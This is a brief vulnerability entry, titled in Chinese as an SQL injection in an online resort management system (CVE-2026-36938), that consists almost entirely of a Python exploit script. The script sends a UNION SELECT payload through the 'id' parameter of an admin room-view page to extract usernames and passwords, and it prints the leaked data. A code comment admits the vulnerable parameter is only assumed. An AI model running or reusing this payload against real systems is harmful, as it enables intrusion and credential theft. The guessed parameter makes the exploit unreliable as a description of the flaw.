CVE-2026-36938: 在线度假村管理系统SQL注入漏洞

import requests # Target URL configuration target_url = "http://target-host/orms/admin/rooms/view_room.php" # Vulnerable parameter (assumed based on common patterns in this file) # The application expects an ID, but fails to sanitize it. payload = "1 UNION SELECT NULL, username, password, NULL FROM users-- -" # Cookies simulating a high-privilege (Admin) authenticated session # Exploitation requires PR:H (High Privileges) cookies = { "PHPSESSID": "valid_admin_session_cookie_here" } params = { "id": payload } try: response = requests.get(target_url, params=params, cookies=cookies, timeout=10) # Check if the SQL query executed successfully and leaked data if response.status_code == 200: # Analyze response content for database artifacts if "admin" in response.text or "root" in response.text: print("[+] Vulnerability confirmed! Data extracted.") print(response.text[:500]) # Print snippet of response else: print("[-] Payload executed, but no obvious data leaked in response.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.RequestException as e: print(f"[!] Error connecting to target: {e}")